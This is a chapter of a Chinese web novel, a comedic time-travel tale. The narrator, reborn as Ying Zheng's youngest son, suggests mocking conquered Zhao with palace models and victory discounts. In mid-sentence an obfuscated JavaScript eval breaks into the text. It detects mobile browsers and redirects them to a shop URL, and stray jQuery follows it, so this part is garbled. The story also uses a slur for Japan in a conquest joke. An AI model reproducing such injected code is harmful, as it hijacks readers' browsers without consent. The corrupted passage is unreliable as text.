18.大秦核武
作品:《[秦二世]乐子人,但千古一帝》 嬴政指尖轻叩桌面,语气平淡地继续道:
“灭赵后,赵之降卒、罪隶充役筑宫,正可耗其余力,免其流窜作乱。此非耗我秦之本力,是以六国之力奉养秦室。”
赵乐秦皱巴了一下脸。
嬴政的逻辑是:他赢了,那他就要使用胜利带来的红利,这是他身为征服者的权利。更妙的是,这种做法不透支秦国的民力,还能消灭不稳定因素——他赢两次!
很冷酷、很无情,但是很便利、很高效。
可扶苏才六年级,猛地被灌输这么残酷的政治逻辑,更不要说,这小孩平时学的还是仁善、德政……
赵乐秦有些同情地看向好阿兄,大爹的话这么刺激,他受得了吗?
果不其然,扶苏被嬴政这番暴论砸得当场宕机。
他表情空白,嘴巴无声地张张合合,宛若一条迷茫的鱼。
然而嬴政并没有什么关注儿童心理健康的意识,话语不停。
“你有仁心,却不识大势。”
他的声音并不高,却像一块巨石投入深潭,在大殿中激起令人心悸的回响。
嬴政没有起身,只是缓缓地、如同山峦倾轧般向前微微压低身躯,视线锁住阶下的扶苏。
“人心非怀柔可得,需威权塑之;天下归一并非靠施恩,需先破其志。寡人不筑赵宫,诸国不知秦之强;寡人不彰灭国之功,黔首不知秦之威。无威则无统,无势则无治。你怕赵人恨?他们要恨,寡人筑不筑宫,他们都恨。况怨恨何足惧?寡人要的,正是他们日日怨恨!是让天下人看见这恨,却不敢言,不敢动。”
嬴政声音平直、稳定,他的眼睛此刻深不见底,带着绝对的平静与自信,亮得骇人。
“顺秦者,无国可有;逆秦者,无物可存。”
嬴政没有怒气,没有拔高声音,甚至没有半分波澜,只有一种近乎厌倦的、陈述常识般的清晰,一种高高在上、神祇俯瞰众生的漠然,仿佛在说:日出东方,水往下流,如此而已。
赵乐秦被嬴政一刹那放出的气势震慑,狠狠打了个寒颤。
战国末期是大争之世,各国之间互相征伐。与扶苏不同,嬴政是乱世中成长起来的君王,他打心眼里认同强者为尊、弱肉强食,温情怀柔换不来真正臣服,恐惧就是比爱戴更可靠,武力与威慑可以解决一切问题。
嬴政的王道以霸道为骨,他的功绩非宽仁可成。
在嬴政眼里,抗秦者的宫殿被秦王在咸阳收纳展示,这是对六国地理的终结、文化的征服,这是中央威权的实体化符号,是一种具象化的政治与心理威慑,是熔铸旧文明、铭刻新秩序的图腾。
嬴政就是要让天下人明白,旧时代即将终结,万事万物,包括他们珍视的文化与记忆,都将由大秦重新安排其位置与意义。
他要先以绝对的威慑与武力,摧毁六国的精神,粉碎六国的抵抗,再用制度与利益将其捆绑、重塑,用权力凝结鲜血,统合出真正的大一统与民族融合。
天下将只有一个中心,就是咸阳;
天下将只有一种秩序,就是秦法。
天下,也必将只有一个意志,那就是他秦王嬴政——如日经天,不可违逆,不可动摇。
天命在此,万法归一。
赵乐秦的嘴巴张成了一个圆圆的O。
好霸道、好自信、好强!
幸亏嬴政是秦人,不是韩人、赵人、魏人、楚人、燕人、齐人。
核武器在别国手里,那是要揣揣不安,晚上睡不着觉的。
东风-5C在自家手里,那是要红旗招展,普天同庆的。
以武止戈,砥定乾坤。
我大秦,有德啊!
赵乐秦阿巴阿巴地想,现在他穿越过来了,如果发挥好,不仅可以扇没改朝换代时两千万人殒命的惨剧,说不定还能提前把韩信、项羽收了去打匈奴,然后再搞搞科技发明,提前占领脚盆鸡,多整点自古以来的土地……
赵乐秦越想越美,情不自禁发出了“嘿嘿嘿”的笑声,在一片寂静中格外清晰。
登时,谏言奏对的严肃氛围荡然无存。
秦王正散发着雄心勃勃、征服天下的气势,被这忽然闯入的美美笑声一噎,那格调顿时好像沾了几分白日做梦的廉价感,一下子就显得有点装逼了。
嬴政没好气地看向一脸梦幻的赵乐秦,扶苏也从恍惚中浮出水面,抬头看向幼弟。
赵乐秦被两人犹如实质的目光注视,终于从美梦中回神。
但乐子人丝毫没有什么破坏氛围的自觉。
赵乐秦认为,此情此景真是非常适合赋诗一首,歌颂一番扶苏心怀仁德、敢于进谏的高尚情操,抒发抒发对嬴政志向高远、积极进取的赞赏之情。
但这个场景太新了,他实在是没得什么诗词可以借鉴。
赵乐秦只能遗憾地咂咂嘴,毫无阴霾地向两人灿烂一笑。
“真棒!”
两人根本听不懂赵乐秦在说什么,扶苏满脸茫然,嬴政直接眯起眼睛,声音一沉:
“竖子!你又在胡说八道什么?”
赵乐秦浑然不在意大爹的斥责,他现在遗憾极了,但凡他要是能有半分诗才,一定要跟上扶苏老哥混个劝谏。
毕竟虽然嬴政说了半天政治目的,但是他才不信嬴政要建六国宫室纯粹是为了搞政治,《史记》记载“秦每破诸侯,写放其宫室,作之咸阳北阪上……所得诸侯美人钟鼓,以充入之。”
司马老先生已经把你的底子漏出来了!
别人不知道,他还能不知道你嬴政将六国宫室、美人、钟鼓作为战利品迁置咸阳的事实吗?就嬴政这种爱享受、好奇观的霸道性子,真就对天下财富没有占有欲、收集欲啦?
但是赵乐秦一不能剧透,二也没这个劝谏的才华。扶苏老哥这么有理有据的劝谏都拿不下嬴政,他难道上去一哭二闹三打滚吗?噫——他不要面子的吗?他长这么大,最擅长的就是搞人心态,看人笑话,哪能让别人反过来嘲笑……
等等、他好像也能掺和一下?
赵乐秦眼神顿时爆发出璀璨的光芒,他立刻回忆了一下刚刚扶苏的动作,蹬蹬蹬跑到扶苏身侧,囫囵行礼。
扶苏疑惑地看着忽然窜到他身边的幼弟,嬴政也微微皱眉看向画风截然不同的赵乐秦。
赵乐秦心里的坏主意咕嘟嘟地冒出来。他大声清清嗓子,朗声开口:
“臣以为,应该在章台宫殿前、必经之路旁,建造赵国宫室的模型!”
说完这句,赵乐秦自我肯定地点点头,一脸沾沾自喜继续道:“那六国宫室建完要好好管理,肯定不能让大家都去进去看。可是这么一来,那才能有多少人亲眼看到六国宫室?不能亲眼看到,怎么感受秦国的强盛?我觉得不划算!”
赵乐秦忽然绽放了一个无比明媚的笑容,声音陡然拔高:“但是把钱拿去建模型就不一样了!章台宫要举办朝会、接见诸侯使臣,在必经之路旁边放上赵国宫室的模型,那是日日能看见,天天能想起。我们秦国的强盛一定会深入人心!”
慷慨激昂地说完,赵乐秦满意地咂咂嘴要结束发言,忽然又想起秦灭的是六国,又赶紧补了一句:“还得留出位置!”
面对两人迷惑的眼神,赵乐秦两手比比划划:“未来父王是要统一六国的嘛——最好左边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138310|196004||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三个,右边三个。”
说完,赵乐秦矜持地行一礼,蹬蹬蹬跑到嬴政身边,仰着脸嘿嘿一笑:
“阿父,我这个主意如何?”
既然是为了杀人诛心,那为什么不换一种方法。
国策政治,我不懂;但是炫耀,你们不懂。
筑宫于郊外那别人可看不见,但在诸国使节眼前把玩敌方宫室,这得是个什么样的精神打击哇!
赵乐秦此话一出,嬴政情不自禁地顺着他的话展开联想。
他日别国使节入秦,行至章台宫外的秦道,一眼望见故国象征沦为路旁装点,憋屈又不敢吱声,还未开口气势就得先弱三分……
赵乐秦趁机对扶苏挤眉弄眼。
老哥啊,这个造价成本低,但是诛心效果说不定还翻倍呢。
扶苏接收到赵乐秦的信号,愣愣地思索,发现阿弟这个办法确实比修建宫室造价少,就是吧……
扶苏和嬴政对视一眼,看到了彼此眼中的震惊。
——小十八怎么这么会扎心?
嬴政轻咳一声,调整了一下自己的表情,撸了一把赵乐秦骄傲扬起的头。
赵乐秦笑嘻嘻地拱了拱大爹的手,满脸都是对自己邪恶坏主意的认可。
扶苏看到赵乐秦一脸“这才哪到哪”的表情,鬼使神差地开口道:“阿弟,你还有什么想法吗?”
赵乐秦听到这话,顿时眼睛一亮。
啊,那他可有一肚子的妙妙主意啊!
“这还不容易?我们可以联系商人,在咸阳搞点折扣活动。买家说“恭贺大王灭赵”,商家就打折。商人薄利多销有得赚,这般应该能做得下去。这样咸阳从上到下,所有人都能感受到大秦的胜利带来的好处。喔,还可以让尚方署以“庆祝大秦灭赵”的名义往外售卖玩具,比如赵王宫的摆件、玩偶、积木、拼图,限量售卖……”
邪恶比格微微出手,就是一连串令人心惊胆战的werwerwer。
扶苏呆呆地看着赵乐秦,后知后觉发现,自己心中单纯、顽皮的幼弟,竟然并不是个白团子!
而嬴政微微眯眼,看着赵乐秦一脸纯良,嘴里叭叭叭地就是一串坏主意,越看越乐。
竖子来缠磨他时固然不好对付,但这聪慧劲儿都冲着外头造作去了,那可就太贴心了。
正好,他幼时在赵国为质,饱受赵人的歧视与欺凌,几乎朝不保夕,确实对赵国有那么点怨气……
嬴政默不作声地听完了赵乐秦的妙妙主意,轻轻捏了捏他的小脸:“好了,净胡说些什么。今天也玩够了,你是不是该去习武了?”
嬴政扫了一眼还在震惊的大儿子,面上一点不显。
——他当然不能直接这么采纳,不然岂不是显得堂堂秦王小气。
赵乐秦顿时哀嚎一声,看着嬴政一脸正直的样子,只觉得自己白费一番口水,丧丧告退。
直到四天后……
“你是说我父王现在已经亲赴邯郸,要坑杀了他在赵国的仇人?”
赵乐秦不敢置信地追问。
小明一脸确定地点头,又补充道:“是的。而且臣听闻,尚方已经开始研究赵国宫室图了。”
赵乐秦登时便愤愤不平。
不要以为他当时没看出来嬴政的震惊,竟然还嫌弃自己在胡说八道?
他只是想精神上打击打击,你嬴政要连□□上都消灭!
赵乐秦的眼睛微微眯起。
他觉得,最近的生活似乎有些过于平淡,是时候让咸阳见识一下真正的乐子了!
——亲爱的始皇陛下,看儿子给你整个大活。
不必谢。

